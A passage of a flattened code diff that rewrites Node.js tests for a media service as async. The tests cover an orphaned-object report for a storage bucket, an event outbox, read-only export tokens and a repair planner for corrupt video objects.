bytes(5000, 1));++ // canonical present, other size → review++ await insVod({ file: '/x/vod-live-502-1726900000002.mp4', stored: 10, provider: 'b2' });++ B.set('vods/vod-live-502-1726900000002.mp4', bytes(4000, 2));++ B.set('vods-orphans/vod-live-502-1726900000002.mp4', bytes(4500, 2));++ // no canonical, no local → the only copy++ const onlyId = await insVod({ file: '/x/vod-live-503-1726900000003.mp4', stored: 10, provider: 'b2' });++ B.set('vods-orphans/vod-live-503-1726900000003.mp4', bytes(3000, 3));++ // still local with the same size → keep until offloaded++ fs.writeFileSync(path.join(V, 'vod-live-504-1726900000004.mp4'), bytes(2000, 4));++ await insVod({ file: path.join(V, 'vod-live-504-1726900000004.mp4'), stored: 10 });++ B.set('vods-orphans/vod-live-504-1726900000004.mp4', bytes(2000, 4));++ // the row is gone (its object says when)++ B.set('vods-orphans/vod-live-9999-1726900000005.mp4', bytes(1000, 5));++ await db.run(`INSERT INTO media_objects (id, app_id, namespace, kind, lifecycle_status, legacy_ref, deleted_at) VALUES ('med_01TESTGONE000000000000000A', 'live', 'live', 'vod', 'deleted', 'legacy:live:vod:9999', '2026-09-20 10:00:00')`);++ // a name that matches nothing++ B.set('vods-orphans/notes.txt', bytes(10, 6));++ // a row whose storage_key points INTO the prefix: that object is the canonical copy++ const keyedId = await insVod({ file: '/x/vod-live-506-1726900000006.mp4', stored: 10, provider: 'b2', key: 'vods-orphans/vod-live-506-1726900000006.mp4' });++ B.set('vods-orphans/vod-live-506-1726900000006.mp4', bytes(700, 7));-- const writesBefore = s3log.filter(([m]) => m !== 'GET' && m !== 'HEAD').length;-- const rep = await orphans.buildReport({ provider: 'b2' });-- const rec = Object.fromEntries(rep.objects.map(o => [path.basename(o.key), o.recommendation]));-- assert.deepStrictEqual(rec, {-- 'notes.txt': 'review_unknown',-- 'vod-live-501-1726900000001.mp4': 'delete_duplicate',-- 'vod-live-502-1726900000002.mp4': 'review_size_differs',-- 'vod-live-503-1726900000003.mp4': 'keep_only_copy',-- 'vod-live-504-1726900000004.mp4': 'keep_until_offloaded',-- 'vod-live-506-1726900000006.mp4': 'keep_only_copy',-- 'vod-live-9999-1726900000005.mp4': 'delete_row_gone',-- });-- const gone = rep.objects.find(o => o.key.includes('9999'));-- assert.ok(/deleted 2026-09-20/.test(gone.reason), gone.reason);-- assert.strictEqual(rep.objects.find(o => o.key.includes('-501-')).match.id, dupId);-- assert.strictEqual(rep.objects.find(o => o.key.includes('-503-')).match.id, onlyId);-- assert.strictEqual(rep.objects.find(o => o.key.includes('-506-')).match.id, keyedId);-- assert.deepStrictEqual([rep.totals.objects, rep.by_recommendation.keep_only_copy.objects, rep.by_recommendation.keep_only_copy.bytes], [7, 2, 3700]);-- assert.strictEqual(rep.read_only, true);-- assert.strictEqual(s3log.filter(([m]) => m !== 'GET' && m !== 'HEAD').length, writesBefore, 'the report never writes to the bucket');-- assert.strictEqual(B.size, [...B.keys()].length);-- const out = path.join(tmp, 'orphans.json');-- const r = await runCli('vods-orphans-report.js', ['--out', out]);-- assert.strictEqual(r.status, 0, r.stderr);-- assert.ok(/7 object\(s\)/.test(r.stdout) && /Nothing was deleted/.test(r.stdout), r.stdout);-- assert.strictEqual(JSON.parse(fs.readFileSync(out, 'utf8')).totals.objects, 7);-- assert.ok(B.has('vods-orphans/vod-live-501-1726900000001.mp4'), 'every orphan is still there');-- console.log('✅ vods-orphans report: each object matched and recommended (only copy, duplicate, row gone, …), nothing deleted');-- }++ const writesBefore = s3log.filter(([m]) => m !== 'GET' && m !== 'HEAD').length;++ const rep = await orphans.buildReport({ provider: 'b2' });++ const rec = Object.fromEntries(rep.objects.map(o => [path.basename(o.key), o.recommendation]));++ assert.deepStrictEqual(rec, {++ 'notes.txt': 'review_unknown',++ 'vod-live-501-1726900000001.mp4': 'delete_duplicate',++ 'vod-live-502-1726900000002.mp4': 'review_size_differs',++ 'vod-live-503-1726900000003.mp4': 'keep_only_copy',++ 'vod-live-504-1726900000004.mp4': 'keep_until_offloaded',++ 'vod-live-506-1726900000006.mp4': 'keep_only_copy',++ 'vod-live-9999-1726900000005.mp4': 'delete_row_gone',++ });++ const gone = rep.objects.find(o => o.key.includes('9999'));++ assert.ok(/deleted 2026-09-20/.test(gone.reason), gone.reason);++ assert.strictEqual(rep.objects.find(o => o.key.includes('-501-')).match.id, dupId);++ assert.strictEqual(rep.objects.find(o => o.key.includes('-503-')).match.id, onlyId);++ assert.strictEqual(rep.objects.find(o => o.key.includes('-506-')).match.id, keyedId);++ assert.deepStrictEqual([rep.totals.objects, rep.by_recommendation.keep_only_copy.objects, rep.by_recommendation.keep_only_copy.bytes], [7, 2, 3700]);++ assert.strictEqual(rep.read_only, true);++ assert.strictEqual(s3log.filter(([m]) => m !== 'GET' && m !== 'HEAD').length, writesBefore, 'the report never writes to the bucket');++ assert.strictEqual(B.size, [...B.keys()].length);++ const out = path.join(tmp, 'orphans.json');++ const r = await runCli('vods-orphans-report.js', ['--out', out]);++ assert.strictEqual(r.status, 0, r.stderr);++ assert.ok(/7 object\(s\)/.test(r.stdout) && /Nothing was deleted/.test(r.stdout), r.stdout);++ assert.strictEqual(JSON.parse(fs.readFileSync(out, 'utf8')).totals.objects, 7);++ assert.ok(B.has('vods-orphans/vod-live-501-1726900000001.mp4'), 'every orphan is still there');++ console.log('✅ vods-orphans report: each object matched and recommended (only copy, duplicate, row gone, …), nothing deleted');++ }-- db.close();-- s3.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('\n✅ All duration reconcile and orphan report tests passed');-- process.exit(0);++ await db.close();++ s3.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('\n✅ All duration reconcile and orphan report tests passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -8,77 +8,79 @@ const os = require('os');const path = require('path');const http = require('http');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-events-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--process.env.DB_PATH = path.join(tmp, 'media.db');--process.env.VOD_PATH = dir('vods');--process.env.CLIPS_PATH = dir('clips');--process.env.FILES_PATH = dir('files');--process.env.THUMBNAILS_PATH = dir('thumbnails');--process.env.PASTES_PATH = dir('pastes');--process.env.OBJECTS_PATH = dir('objects');++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-events-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ process.env.DB_PATH = path.join(tmp, 'media.db');++ process.env.VOD_PATH = dir('vods');++ process.env.CLIPS_PATH = dir('clips');++ process.env.FILES_PATH = dir('files');++ process.env.THUMBNAILS_PATH = dir('thumbnails');++ process.env.PASTES_PATH = dir('pastes');++ process.env.OBJECTS_PATH = dir('objects');--const published = [];--const stub = http.createServer((req, res) => {-- let body = '';-- req.on('data', (c) => { body += c; });-- req.on('end', () => {-- res.setHeader('Content-Type', 'application/json');-- if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));-- if (req.url === '/api/v1/events') {-- const parsed = JSON.parse(body);-- const list = parsed.events || [parsed];-- const results = list.map((e) => { published.push(e); return { event_id: e.event_id, seq: published.length, duplicate: false }; });-- return res.end(JSON.stringify(parsed.events ? { results } : results[0]));-- }-- res.statusCode = 404; res.end('{}');++ const published = [];++ const stub = http.createServer((req, res) => {++ let body = '';++ req.on('data', (c) => { body += c; });++ req.on('end', () => {++ res.setHeader('Content-Type', 'application/json');++ if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));++ if (req.url === '/api/v1/events') {++ const parsed = JSON.parse(body);++ const list = parsed.events || [parsed];++ const results = list.map((e) => { published.push(e); return { event_id: e.event_id, seq: published.length, duplicate: false }; });++ return res.end(JSON.stringify(parsed.events ? { results } : results[0]));++ }++ res.statusCode = 404; res.end('{}');++ });});--});--(async () => {-- await new Promise((r) => stub.listen(0, '127.0.0.1', r));-- const base = `http://127.0.0.1:${stub.address().port}`;-- const db = require('../server/db/database');-- db.getDb();-- const events = require('../server/events');-- const { sendWebhook, announce } = require('../server/webhooks');-- const inTx = (fn) => db.getDb().transaction(fn)();++ (async () => {++ await new Promise((r) => stub.listen(0, '127.0.0.1', r));++ const base = `http://127.0.0.1:${stub.address().port}`;++ const db = require('../server/db/database');++ db.getDb();++ const events = require('../server/events');++ const { sendWebhook, announce } = require('../server/webhooks');++ const inTx = async (fn) => await db.getDb().tx(fn);-- assert.strictEqual(events.init({ eventsUrl: '', clientSecret: '' }), null, 'off without EVENTS_URL');-- assert.strictEqual(inTx(() => events.record('vod.ready', 'live', { id: 1 })), null);++ assert.strictEqual(events.init({ eventsUrl: '', clientSecret: '' }), null, 'off without EVENTS_URL');++ assert.strictEqual(await inTx(async () => await events.record('vod.ready', 'live', { id: 1 })), null);-- const outbox = events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 50 });-- assert.ok(outbox);++ const outbox = events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 50 });++ assert.ok(outbox);-- // An app with no webhook URL still gets the durable event.-- announce('no-such-app', 'vod.ready', { payload: { id: 42, title: 'Stream', meta: { big: 'x'.repeat(100000) }, ai_overview: 'long text' } });-- announce('no-such-app', 'clip.failed', { payload: { id: 7, status: 'failed' } });-- assert.strictEqual(announce('no-such-app', 'unknown.event', { payload: { id: 1 } }).eventId, null, 'no durable twin');-- // A bare webhook queues nothing (the event is written inside the state change's transaction).-- await sendWebhook('no-such-app', 'vod.ready', { id: 43 });-- await outbox.flush();-- assert.strictEqual(published.length, 2);-- assert.strictEqual(published[0].event_type, 'media.vod.ready');-- assert.deepStrictEqual(published[0].subject, { type: 'vod', id: '42' });-- assert.strictEqual(published[0].source, 'media');-- assert.strictEqual(published[0].visibility, 'internal');-- assert.strictEqual(published[0].payload.app_id, 'no-such-app');-- assert.ok(!('meta' in published[0].payload) && !('ai_overview' in published[0].payload), 'free text stays behind the API');-- assert.strictEqual(published[0].priority, 'important', 'lifecycle outcomes are important (§6.3)');-- assert.strictEqual(published[1].event_type, 'media.clip.failed');-- assert.strictEqual(published[1].priority, 'important');++ // An app with no webhook URL still gets the durable event.++ await announce('no-such-app', 'vod.ready', { payload: { id: 42, title: 'Stream', meta: { big: 'x'.repeat(100000) }, ai_overview: 'long text' } });++ await announce('no-such-app', 'clip.failed', { payload: { id: 7, status: 'failed' } });++ assert.strictEqual((await announce('no-such-app', 'unknown.event', { payload: { id: 1 } })).eventId, null, 'no durable twin');++ // A bare webhook queues nothing (the event is written inside the state change's transaction).++ await sendWebhook('no-such-app', 'vod.ready', { id: 43 });++ await outbox.flush();++ assert.strictEqual(published.length, 2);++ assert.strictEqual(published[0].event_type, 'media.vod.ready');++ assert.deepStrictEqual(published[0].subject, { type: 'vod', id: '42' });++ assert.strictEqual(published[0].source, 'media');++ assert.strictEqual(published[0].visibility, 'internal');++ assert.strictEqual(published[0].payload.app_id, 'no-such-app');++ assert.ok(!('meta' in published[0].payload) && !('ai_overview' in published[0].payload), 'free text stays behind the API');++ assert.strictEqual(published[0].priority, 'important', 'lifecycle outcomes are important (§6.3)');++ assert.strictEqual(published[1].event_type, 'media.clip.failed');++ assert.strictEqual(published[1].priority, 'important');-- // Storage alerts: queued once by the storage module, never per app by sendWebhook.-- await sendWebhook('no-such-app', 'storage.alert', { kind: 'disk' });-- await outbox.flush();-- assert.strictEqual(published.length, 2);-- inTx(() => events.record('storage.alert', null, { kind: 'disk', free_gb: 3 }));-- await outbox.flush();-- assert.strictEqual(published.length, 3);-- assert.deepStrictEqual(published[2].subject, { type: 'storage', id: 'disk' });++ // Storage alerts: queued once by the storage module, never per app by sendWebhook.++ await sendWebhook('no-such-app', 'storage.alert', { kind: 'disk' });++ await outbox.flush();++ assert.strictEqual(published.length, 2);++ await inTx(async () => await events.record('storage.alert', null, { kind: 'disk', free_gb: 3 }));++ await outbox.flush();++ assert.strictEqual(published.length, 3);++ assert.deepStrictEqual(published[2].subject, { type: 'storage', id: 'disk' });-- assert.strictEqual(events.status().enabled, true);-- events._reset();-- stub.close();-- console.log('✅ media events: outbox, relay, storage alerts once, off by default');++ assert.strictEqual((await events.status()).enabled, true);++ events._reset();++ stub.close();++ console.log('✅ media events: outbox, relay, storage alerts once, off by default');++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -12,116 +12,118 @@ const path = require('path');const http = require('http');const crypto = require('crypto');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-export-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--process.env.DB_PATH = path.join(tmp, 'media.db');--process.env.VOD_PATH = dir('vods');--process.env.FILES_PATH = dir('files');--process.env.OBJECTS_PATH = dir('objects');--process.env.THUMBNAILS_PATH = dir('thumbnails');--process.env.OV_NETWORK_URL = 'https://openvibe.network';--process.env.MEDIA_PUBLIC_URL = 'https://media.test';--process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';--process.env.MEDIA_UPLOAD_MIN_FREE_MB = '0';++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-export-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ process.env.DB_PATH = path.join(tmp, 'media.db');++ process.env.VOD_PATH = dir('vods');++ process.env.FILES_PATH = dir('files');++ process.env.OBJECTS_PATH = dir('objects');++ process.env.THUMBNAILS_PATH = dir('thumbnails');++ process.env.OV_NETWORK_URL = 'https://openvibe.network';++ process.env.MEDIA_PUBLIC_URL = 'https://media.test';++ process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';++ process.env.MEDIA_UPLOAD_MIN_FREE_MB = '0';--const express = require('express');--const { serviceAuth, ids } = require('openvibe-contracts');--const db = require('../server/db/database');--const auth = require('../server/auth');++ const express = require('express');++ const { serviceAuth, ids } = require('openvibe-contracts');++ const db = require('../server/db/database');++ const auth = require('../server/auth');--const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });--auth._setNetworkPublicKeyForTests(keys.publicKey);--const P = `prj_${ids.ulid()}`;--const OTHER = `prj_${ids.ulid()}`;++ const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });++ auth._setNetworkPublicKeyForTests(keys.publicKey);++ const P = `prj_${ids.ulid()}`;++ const OTHER = `prj_${ids.ulid()}`;--/** A token shaped exactly as Network's mintExportToken shapes it. */--function exportToken(env, { project = P, cap = ['media.object.list', 'media.object.read'] } = {}) {-- const now = Math.floor(Date.now() / 1000);-- return serviceAuth.signServiceToken({-- iss: 'https://openvibe.network', sub: `app:app_${project.replace(/^prj_/, '')}`, actor_type: 'app', aud: ['openvibe.media'], cap,-- ns: [project, `app.${project}.*`], project_id: project, env, on_behalf_of: ids.newId('user'), purpose: 'export',-- iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`,-- }, keys.privateKey);--}++ /** A token shaped exactly as Network's mintExportToken shapes it. */++ function exportToken(env, { project = P, cap = ['media.object.list', 'media.object.read'] } = {}) {++ const now = Math.floor(Date.now() / 1000);++ return serviceAuth.signServiceToken({++ iss: 'https://openvibe.network', sub: `app:app_${project.replace(/^prj_/, '')}`, actor_type: 'app', aud: ['openvibe.media'], cap,++ ns: [project, `app.${project}.*`], project_id: project, env, on_behalf_of: ids.newId('user'), purpose: 'export',++ iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`,++ }, keys.privateKey);++ }--db.getDb();--const prod = db.ensureProjectTenant(P, 'production', 1e9);--const sbx = db.ensureProjectTenant(P, 'sandbox', 1e8);--const otherTenant = db.ensureProjectTenant(OTHER, 'production', 1e9);--const put = (tenant, ns, visibility, status = 'ready') => {-- const id = `med_${ids.ulid()}`;-- db.run("INSERT INTO media_objects (id, app_id, namespace, kind, lifecycle_status, size_bytes, visibility, mime_type) VALUES (?, ?, ?, 'file', ?, 5, ?, 'text/plain')", [id, tenant.app_id, ns, status, visibility]);-- return id;--};--const O = {-- pub: put(prod, `app.${P}`, 'public'),-- priv: put(prod, `app.${P}`, 'private'),-- deleted: put(prod, `app.${P}`, 'private', 'deleted'),-- sandbox: put(sbx, `app.${P}.sandbox`, 'public'),-- other: put(otherTenant, `app.${OTHER}`, 'public'),--};++ db.getDb();++ const prod = await db.ensureProjectTenant(P, 'production', 1e9);++ const sbx = await db.ensureProjectTenant(P, 'sandbox', 1e8);++ const otherTenant = await db.ensureProjectTenant(OTHER, 'production', 1e9);++ const put = async (tenant, ns, visibility, status = 'ready') => {++ const id = `med_${ids.ulid()}`;++ await db.run("INSERT INTO media_objects (id, app_id, namespace, kind, lifecycle_status, size_bytes, visibility, mime_type) VALUES (?, ?, ?, 'file', ?, 5, ?, 'text/plain')", [id, tenant.app_id, ns, status, visibility]);++ return id;++ };++ const O = {++ pub: await put(prod, `app.${P}`, 'public'),++ priv: await put(prod, `app.${P}`, 'private'),++ deleted: await put(prod, `app.${P}`, 'private', 'deleted'),++ sandbox: await put(sbx, `app.${P}.sandbox`, 'public'),++ other: await put(otherTenant, `app.${OTHER}`, 'public'),++ };--const app = express();--app.use(express.json());--app.use('/api/v2/:app/objects', require('../server/objects/routes'));--app.use('/api/v2/:app/namespaces', require('../server/objects/namespace-routes'));--const server = http.createServer(app);++ const app = express();++ app.use(express.json());++ app.use('/api/v2/:app/objects', require('../server/objects/routes'));++ app.use('/api/v2/:app/namespaces', require('../server/objects/namespace-routes'));++ const server = http.createServer(app);--(async () => {-- await new Promise((r) => server.listen(0, '127.0.0.1', r));-- const base = `http://127.0.0.1:${server.address().port}`;-- const call = async (method, p, token, body) => {-- const r = await fetch(base + p, { method, headers: { authorization: `Bearer ${token}`, ...(body ? { 'content-type': 'application/json' } : {}) }, body: body ? JSON.stringify(body) : undefined, redirect: 'manual' });-- const text = await r.text();-- let json = null;-- try { json = JSON.parse(text); } catch { json = null; }-- return { status: r.status, body: json, text };-- };-- const tp = exportToken('production');-- const ts = exportToken('sandbox');++ (async () => {++ await new Promise((r) => server.listen(0, '127.0.0.1', r));++ const base = `http://127.0.0.1:${server.address().port}`;++ const call = async (method, p, token, body) => {++ const r = await fetch(base + p, { method, headers: { authorization: `Bearer ${token}`, ...(body ? { 'content-type': 'application/json' } : {}) }, body: body ? JSON.stringify(body) : undefined, redirect: 'manual' });++ const text = await r.text();++ let json = null;++ try { json = JSON.parse(text); } catch { json = null; }++ return { status: r.status, body: json, text };++ };++ const tp = exportToken('production');++ const ts = exportToken('sandbox');-- // Lists: the token's environment picks the tenant; deleted objects when asked; nothing of another project.-- let r = await call('GET', `/api/v2/${P}/objects?limit=200&include_deleted=1`, tp);-- assert.strictEqual(r.status, 200, r.text);-- assert.deepStrictEqual(r.body.objects.map((o) => o.id).sort(), [O.pub, O.priv, O.deleted].sort());-- assert.strictEqual(r.body.objects.find((o) => o.id === O.pub).public_url, `https://media.test/o/${O.pub}`);-- r = await call('GET', `/api/v2/${P}/objects?limit=200`, ts);-- assert.strictEqual(r.status, 200, r.text);-- assert.deepStrictEqual(r.body.objects.map((o) => o.id), [O.sandbox], 'the sandbox token sees the sandbox tenant only');-- assert.strictEqual(r.body.objects[0].public_url, null, 'sandbox objects are never public');-- r = await call('GET', `/api/v2/${P}/namespaces`, tp);-- assert.strictEqual(r.status, 200, r.text);-- assert.deepStrictEqual(r.body.namespaces.map((n) => n.namespace), [`app.${P}`]);-- console.log('✅ an export token lists the project\'s objects and namespaces, per environment');++ // Lists: the token's environment picks the tenant; deleted objects when asked; nothing of another project.++ let r = await call('GET', `/api/v2/${P}/objects?limit=200&include_deleted=1`, tp);++ assert.strictEqual(r.status, 200, r.text);++ assert.deepStrictEqual(r.body.objects.map((o) => o.id).sort(), [O.pub, O.priv, O.deleted].sort());++ assert.strictEqual(r.body.objects.find((o) => o.id === O.pub).public_url, `https://media.test/o/${O.pub}`);++ r = await call('GET', `/api/v2/${P}/objects?limit=200`, ts);++ assert.strictEqual(r.status, 200, r.text);++ assert.deepStrictEqual(r.body.objects.map((o) => o.id), [O.sandbox], 'the sandbox token sees the sandbox tenant only');++ assert.strictEqual(r.body.objects[0].public_url, null, 'sandbox objects are never public');++ r = await call('GET', `/api/v2/${P}/namespaces`, tp);++ assert.strictEqual(r.status, 200, r.text);++ assert.deepStrictEqual(r.body.namespaces.map((n) => n.namespace), [`app.${P}`]);++ console.log('✅ an export token lists the project\'s objects and namespaces, per environment');-- // Download URLs: signed for private and sandbox objects (up to an hour), refused for deleted ones.-- r = await call('GET', `/api/v2/${P}/objects/${O.priv}/download?format=json&ttl=3600`, tp);-- assert.strictEqual(r.status, 200, r.text);-- assert.strictEqual(r.body.public, false);-- assert.match(r.body.url, new RegExp(`^https://media\\.test/o/${O.priv}\\?exp=\\d+&sig=`));-- assert.ok(Date.parse(r.body.expires_at) - Date.now() > 3500 * 1000);-- r = await call('GET', `/api/v2/${P}/objects/${O.sandbox}/download?format=json&ttl=3600`, ts);-- assert.strictEqual(r.status, 200, r.text);-- assert.strictEqual(r.body.public, false);-- r = await call('GET', `/api/v2/${P}/objects/${O.deleted}/download?format=json`, tp);-- assert.strictEqual(r.status, 410);-- r = await call('GET', `/api/v2/${P}/objects/${O.sandbox}/download?format=json`, tp);-- assert.strictEqual(r.status, 404, 'a production token does not reach the sandbox tenant');-- console.log('✅ download URLs: signed for private and sandbox objects');++ // Download URLs: signed for private and sandbox objects (up to an hour), refused for deleted ones.++ r = await call('GET', `/api/v2/${P}/objects/${O.priv}/download?format=json&ttl=3600`, tp);++ assert.strictEqual(r.status, 200, r.text);++ assert.strictEqual(r.body.public, false);++ assert.match(r.body.url, new RegExp(`^https://media\\.test/o/${O.priv}\\?exp=\\d+&sig=`));++ assert.ok(Date.parse(r.body.expires_at) - Date.now() > 3500 * 1000);++ r = await call('GET', `/api/v2/${P}/objects/${O.sandbox}/download?format=json&ttl=3600`, ts);++ assert.strictEqual(r.status, 200, r.text);++ assert.strictEqual(r.body.public, false);++ r = await call('GET', `/api/v2/${P}/objects/${O.deleted}/download?format=json`, tp);++ assert.strictEqual(r.status, 410);++ r = await call('GET', `/api/v2/${P}/objects/${O.sandbox}/download?format=json`, tp);++ assert.strictEqual(r.status, 404, 'a production token does not reach the sandbox tenant');++ console.log('✅ download URLs: signed for private and sandbox objects');-- // Nothing else: no upload, no delete, no other project.-- r = await call('POST', `/api/v2/${P}/objects`, tp, { kind: 'file', size_bytes: 5, mime_type: 'text/plain' });-- assert.strictEqual(r.status, 403, r.text);-- r = await call('DELETE', `/api/v2/${P}/objects/${O.pub}`, tp);-- assert.strictEqual(r.status, 403, r.text);-- r = await call('GET', `/api/v2/${OTHER}/objects`, tp);-- assert.strictEqual(r.status, 403, 'another project\'s tenant');-- r = await call('GET', `/api/v2/${OTHER}/objects/${O.other}/download?format=json`, tp);-- assert.strictEqual(r.status, 403);-- assert.strictEqual(db.get('SELECT COUNT(*) AS n FROM media_objects').n, 5, 'nothing written');-- console.log('✅ an export token writes nothing and reaches no other project');++ // Nothing else: no upload, no delete, no other project.++ r = await call('POST', `/api/v2/${P}/objects`, tp, { kind: 'file', size_bytes: 5, mime_type: 'text/plain' });++ assert.strictEqual(r.status, 403, r.text);++ r = await call('DELETE', `/api/v2/${P}/objects/${O.pub}`, tp);++ assert.strictEqual(r.status, 403, r.text);++ r = await call('GET', `/api/v2/${OTHER}/objects`, tp);++ assert.strictEqual(r.status, 403, 'another project\'s tenant');++ r = await call('GET', `/api/v2/${OTHER}/objects/${O.other}/download?format=json`, tp);++ assert.strictEqual(r.status, 403);++ assert.strictEqual((await db.get('SELECT COUNT(*) AS n FROM media_objects')).n, 5, 'nothing written');++ console.log('✅ an export token writes nothing and reaches no other project');-- server.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('export tokens: all checks passed');++ server.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('export tokens: all checks passed');++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -1,79 +1,82 @@'use strict';// H15 repair (WS-G task 7): the plan for each object with no good copy, and its writes and rollback.const assert = require('assert');--const Database = require('better-sqlite3');--const { plan, apply, rollback, judgeProbe } = require('../server/objects/h15-repair');++(async () => {++ const { plan, apply, rollback, judgeProbe } = require('../server/objects/h15-repair');--const good = { duration: 1721.9, streams: ['vp8', 'opus'], errorLines: Array(4700).fill('[null @ 0x1] Application provided invalid, non monotonically increasing dts to muxer in stream 0: 5 >= 5').concat(['[opus @ 0x2] Error parsing Opus packet header.']) };--const vod = (over = {}) => ({ object_id: 'med_1', kind: 'vod', size_bytes: 13631488, content_hash: null, legacy_ref: 'legacy:live:vod:1277', locations: [{ provider: 'b2', key: 'vods/a.webm', state: 'corrupt', size_bytes: 14609471 }], ...over });++ const good = { duration: 1721.9, streams: ['vp8', 'opus'], errorLines: Array(4700).fill('[null @ 0x1] Application provided invalid, non monotonically increasing dts to muxer in stream 0: 5 >= 5').concat(['[opus @ 0x2] Error parsing Opus packet header.']) };++ const vod = (over = {}) => ({ object_id: 'med_1', kind: 'vod', size_bytes: 13631488, content_hash: null, legacy_ref: 'legacy:live:vod:1277', locations: [{ provider: 'b2', key: 'vods/a.webm', state: 'corrupt', size_bytes: 14609471 }], ...over });--// ── The verdict on a decoded copy ──--assert.strictEqual(judgeProbe(good).ok, true, 'timestamp warnings of a live recording do not condemn it');--assert.strictEqual(judgeProbe({ duration: 0.6, streams: ['vp8'], errorLines: [] }).fragment, true);--assert.strictEqual(judgeProbe({ error: 'Invalid data found' }).ok, false);--assert.strictEqual(judgeProbe({ duration: 400, streams: ['vp8'], errorLines: Array(9).fill('[vp8 @ 1] Truncated packet') }).ok, false, 'real decode errors do');--assert.strictEqual(judgeProbe({ duration: 400, streams: [], errorLines: [] }).ok, false);++ // ── The verdict on a decoded copy ──++ assert.strictEqual(judgeProbe(good).ok, true, 'timestamp warnings of a live recording do not condemn it');++ assert.strictEqual(judgeProbe({ duration: 0.6, streams: ['vp8'], errorLines: [] }).fragment, true);++ assert.strictEqual(judgeProbe({ error: 'Invalid data found' }).ok, false);++ assert.strictEqual(judgeProbe({ duration: 400, streams: ['vp8'], errorLines: Array(9).fill('[vp8 @ 1] Truncated packet') }).ok, false, 'real decode errors do');++ assert.strictEqual(judgeProbe({ duration: 400, streams: [], errorLines: [] }).ok, false);--// ── The plan ──--assert.strictEqual(plan(vod(), { b2: good }).action, 'rebaseline');--assert.match(plan(vod(), { b2: good }).reason, /only its size differed/);--assert.strictEqual(plan(vod(), { b2: { duration: 0.6, streams: ['vp8'], errorLines: [] } }).action, 'failed_recording');--assert.strictEqual(plan(vod(), { b2: { error: 'moov atom not found' } }).action, 'lost');--assert.strictEqual(plan(vod({ content_hash: 'abc' }), { b2: good }).action, 'lost', 'a recorded hash that disagrees is real corruption: never rebaselined');--const shot = { object_id: 'med_2', kind: 'screenshot', size_bytes: 0, content_hash: null, locations: [{ provider: 'local', key: '/data/pastes/screenshots/ai-moment-vod1691-32230.jpg', state: 'missing' }] };--assert.deepStrictEqual((({ action, source_vod, offset }) => ({ action, source_vod, offset }))(plan(shot)), { action: 'regenerate', source_vod: 1691, offset: 32230 });--assert.strictEqual(plan({ ...shot, locations: [{ provider: 'local', key: '/x/other.jpg', state: 'missing' }] }).action, 'lost');++ // ── The plan ──++ assert.strictEqual(plan(vod(), { b2: good }).action, 'rebaseline');++ assert.match(plan(vod(), { b2: good }).reason, /only its size differed/);++ assert.strictEqual(plan(vod(), { b2: { duration: 0.6, streams: ['vp8'], errorLines: [] } }).action, 'failed_recording');++ assert.strictEqual(plan(vod(), { b2: { error: 'moov atom not found' } }).action, 'lost');++ assert.strictEqual(plan(vod({ content_hash: 'abc' }), { b2: good }).action, 'lost', 'a recorded hash that disagrees is real corruption: never rebaselined');++ const shot = { object_id: 'med_2', kind: 'screenshot', size_bytes: 0, content_hash: null, locations: [{ provider: 'local', key: '/data/pastes/screenshots/ai-moment-vod1691-32230.jpg', state: 'missing' }] };++ assert.deepStrictEqual((({ action, source_vod, offset }) => ({ action, source_vod, offset }))(plan(shot)), { action: 'regenerate', source_vod: 1691, offset: 32230 });++ assert.strictEqual(plan({ ...shot, locations: [{ provider: 'local', key: '/x/other.jpg', state: 'missing' }] }).action, 'lost');--// ── Writes, only while the row holds what was read, and their rollback ──--const h = new Database(':memory:');--h.exec(`CREATE TABLE media_objects (id TEXT PRIMARY KEY, size_bytes INTEGER, content_hash TEXT, lifecycle_status TEXT, updated_at TEXT);-- CREATE TABLE media_locations (id INTEGER PRIMARY KEY, object_id TEXT, provider TEXT, key TEXT, state TEXT, size_bytes INTEGER, verified_at TEXT, updated_at TEXT);`);--h.prepare("INSERT INTO media_objects VALUES ('med_1', 13631488, NULL, 'ready', NULL), ('med_3', 262144, NULL, 'ready', NULL), ('med_2', 0, NULL, 'ready', NULL)").run();--h.prepare("INSERT INTO media_locations (object_id, provider, key, state, size_bytes) VALUES ('med_1', 'b2', 'vods/a.webm', 'corrupt', 14609471), ('med_3', 'b2', 'vods/b.webm', 'corrupt', 218283), ('med_2', 'local', '/x.jpg', 'missing', NULL)").run();++ // ── Writes, only while the row holds what was read, and their rollback ──++ // A database of its own with just the two tables the repair touches (PGlite; ov_now() as the migration defines 